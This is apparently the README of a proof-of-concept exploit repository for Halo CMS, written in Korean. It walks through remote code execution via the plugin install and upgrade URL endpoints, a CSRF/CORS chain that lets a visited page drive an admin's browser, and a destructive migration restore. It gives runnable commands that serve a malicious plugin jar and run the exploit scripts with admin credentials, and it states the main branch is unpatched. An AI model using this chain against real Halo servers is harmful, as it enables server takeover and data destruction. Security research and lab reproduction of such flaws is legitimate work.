
halo cms 플러그인 URL에서 단일 요청 RCE, PoC + 익스플로잇 체인
halo 콘솔을 사용하면 관리자가 URL을 붙여넣어 플러그인을 설치하거나 업그레이드할 수 있습니다. 임의의 URL을 가져와 jar를 설치하며, jar의 코드가 서버에서 실행됩니다. 스킴 검사도, 호스트 검사도 없고 리디렉션을 따라가며, 플러그인 관리자는 jar에서 확장 클래스를 직접 로드합니다.
이것은 cve-2026-67919(install-from-uri / upgrade-from-uri), cve-2026-67920(migration restore), cve-2026-67921(csrf/cors 체인)입니다. 세 가지 모두 2026년 8월 docker 랩에서 halohub/halo:2.25.4를 대상으로 검증했습니다. main 브랜치는 여전히 패치되지 않았습니다.
재미있는 점은 브라우저만으로도 이 체인이 가능하다는 것입니다. 콘솔 API는 xsrf 토큰을 확인하지 않고, 세션 쿠키는 samesite=none이며, cors는 자격 증명이 있는 모든 출처를 반사합니다. 관리자가 방문한 페이지는 fetch()만으로 모든 것을 수행할 수 있습니다. exploit/csrf.html을 참조하세요.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
호스트에서 jar를 제공합니다(0.0.0.0에 바인딩, 컨테이너는 host.docker.internal로 호스트에 도달합니다):
python3 -m http.server 8123
악성 플러그인을 빌드합니다(jdk 17 필요):
cd plugin && sh build.sh
그런 다음:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
이미 설치된 플러그인은 단일 요청으로 교체할 수 있습니다. jar는 동일한 metadata.name과 더 높은 버전만 필요합니다. poc-sitemap.jar는 기본 제공 PluginSitemap(1.x -> 2.0.0)용 변형입니다.
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
exploit/csrf.html을 열고 자신의 halo를 지정한 다음 클릭하세요. 이것이 cve-2026-67921 -> cve-2026-67919 체인입니다. xsrf 헤더가 없고, 세션 쿠키가 사이트 간에 전송되며, cors가 읽기 응답을 허용합니다.
cisa 설명이 무엇이라고 하든 관리자만 가능합니다. 익명 사용자는 302를 받고, 게스트는 403을 받으며, 관리자는 코드 실행을 얻습니다. csrf 체인은 페이지가 실행될 때 관리자가 이미 로그인되어 있기 때문에 흥미롭습니다.
복원 기능은 임의의 URL을 가져오고(또 다른 fetch 기본 요소), zip의 workdir/을 정제 없이 halo 작업 디렉터리에 쓴 다음, 전체 확장 스토어를 백업 내용으로 교체합니다. 빈 extensions.data는 사용자, 역할 바인딩 및 설정을 지웁니다. exploit/migration_restore.py는 일회용 머신에서만 사용하세요.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
단일 요청 변형의 경우 plugin/plugin.yaml(metadata.name + version)을 편집하고 다시 빌드하거나, PluginSitemap이 설치된 halo에서 사전 빌드된 poc-sitemap.jar를 사용하세요.
면책 조항: 소유한 시스템에 대한 연구용입니다. 특히 마이그레이션 기능은 실행 대상 인스턴스를 파괴합니다.
chris jagdeo (k0nnect)